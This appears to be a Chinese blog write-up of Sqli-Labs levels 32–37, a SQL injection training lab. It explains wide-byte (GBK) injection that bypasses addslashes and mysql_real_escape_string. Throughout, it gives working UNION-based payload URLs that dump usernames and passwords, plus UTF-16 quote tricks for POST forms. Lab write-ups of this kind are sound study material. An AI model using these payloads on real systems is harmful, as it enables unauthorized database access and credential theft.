Sqli-Labs less32-37
Less-32
前置基础知识:宽字节注入
参考链接:
https://blog.csdn.net/helloc0de/article/details/76180190
https://blog.csdn.net/heiseweiye/article/details/82723478
宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
中文、韩文、日文等均存在宽字节,英文默认都是一个字节。
在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题。
例子: id= 1’ 处理 1 \’ 进行编码 1%5c%27 带入sql后 id = \’ and XXXX 此时无法完成注入
id=1%df’ 处理 1%df\’ 进行编码 1%df%5c%27 带入sql后 id =1運’ and XXX 此时存在宽字节注入漏洞
推荐解码网站: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp
第一种办法:
首先还是在代码中进行输出sql语句。
可以看到是单引号进行闭合,如果输入1‘,可以看到进行了转义

我们可以进行宽字节注入, 处理 1%df\’ 进行编码 1%df%5c%27 带入sql后 id =1運’
http://192.168.0.105/sqli-labs/Less-32/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

第二种办法:%5c代表的是\,%aa%5c'会转义成%aa%5c%5c%5c%27,然后进行组合:

这样也可以实现注入,其实原理是一样的:
http://192.168.0.105/sqli-labs/Less-32/?id=0%aa%5c' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

less-33
到这一关结束了tomcat的关卡,我就继续用docker环境了。
我们查看源码发现这一关用了addslashes()函数,用法:https://www.w3school.com.cn/php/func_string_addslashes.asp
其实与上一关的区别就是,这一关是使用函数过滤。而上一关用的是自定义过滤。

所以,我们也可以用宽字节注入办法解决:
http://192.168.0.106:300/Less-33/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

less-34
观察代码发现也用到了adds lashes()函数,理论上我们也可以用到上面的宽字节注入。但是并不行,因为用post传入数据,会再次编码。


抓包之后的uname:uname=admin%25df%27&passwd=ad&submit=Submit
所以这一步就是多加了一个转码%25,然后改包把25删去就可以了,这就是第一种办法:改包


第二种办法:将单引号的UTF-8转换为UTF-16的单引号模式 ‘ �’
�\‘ union select 1,2#
注意,这个符号在win2003中显示是不一样的:


这样就可以构造注入语句。
这是一种比较巧妙地绕WAF。
less-35
这一关基本与上一关相同,就是没有了数据包裹,所以不用‘直接进行注入:
http://192.168.0.106:300/Less-35/?id=0 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users

less-36
观察源码,发现与前面的区别就是使用的转义函数不一样:
mysql_real_escape_string函数(参考:https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp)
我们同样可以用之前的宽字节注入解决:
http://192.168.0.106:300/Less-36/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

less-37
37关与34关类似,都是post形式,区别就是转义函数的区别: mysql_real_escape_string()
所以第一种办法就是可以用34关的单引号utf-8转换为utf-16的形式:
�'union select 1,2#


可以构造语句。另外还有一点,post和get形式有区别,post形式只有两个字段所以select1,2
第二种办法:可以抓包对其进行宽字节注入
Sqli-Labs less32-37的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- 1.3.6、通过Path匹配
server: port: 8080 spring: application: name: gateway cloud: gateway: routes: - id: guo-system4 uri: ...
- 使用Docker的同学注意了,这10个坑小心中招了
Docker容器优点容器已经成为企业IT基础设施中必不可少的部分,它具有许多的优点,比如: 1 容器是不可变的--操作系统,库版本,配置,文件夹和应用程序都包装在容器内.你保证在质量检查中测试过的同一 ...
- 『心善渊』Selenium3.0基础 — 24、Selenium的expected_conditions模块详细介绍
目录 1.EC模块介绍 2.EC模块常用类 3.EC模块的使用 4.EC模块综合使用 (1)title_is(title)示例 (2)presence_of_element_located(locat ...
- SpEL表达式总结(转)
前言 SpEL(Spring Expression Language),即Spring表达式语言,是比JSP的EL更强大的一种表达式语言.为什么要总结SpEL,因为它可以在运行时查询和操作数据,尤其是 ...
- ZooKeeper 分布式锁 Curator 源码 02:可重入锁重复加锁和锁释放
ZooKeeper 分布式锁 Curator 源码 02:可重入锁重复加锁和锁释放 前言 加锁逻辑已经介绍完毕,那当一个线程重复加锁是如何处理的呢? 锁重入 在上一小节中,可以看到加锁的过程,再回头看 ...
- hapv-一个可以播放,下载国内主流视频的播放器
electron 开发的一个可以播放,下载国内主流视频的播放器.A player developed by electron that can play and download domestic m ...
- dart pub上传失败如何解决
问题: Flutter Exception: Pub will wait for a while before trying to connect again. 解决 1.设置终端代理 export ...
- Java基础之反射生成JDK动态代理
在Java的java.lang.reflect包下提供了一个Proxy类和一个InvocationHandler接口.通过这个类和接口可以生成JDK动态代理类或动态代理对象. JDK动态代理例子: / ...
- airodump-ng的使用及显示
PWR 表示所接收的信号的强度.表示为负数,数值赿大表示信号赿强.(绝对值赿大,数据赿值小) beacons 表示网卡接收到的AP发出的信号个数
- PAT乙级:1076 Wifi密码 (15分)
PAT乙级:1076 Wifi密码 (15分) 题干 下面是微博上流传的一张照片:"各位亲爱的同学们,鉴于大家有时需要使用 wifi,又怕耽误亲们的学习,现将 wifi 密码设置为下列数学题 ...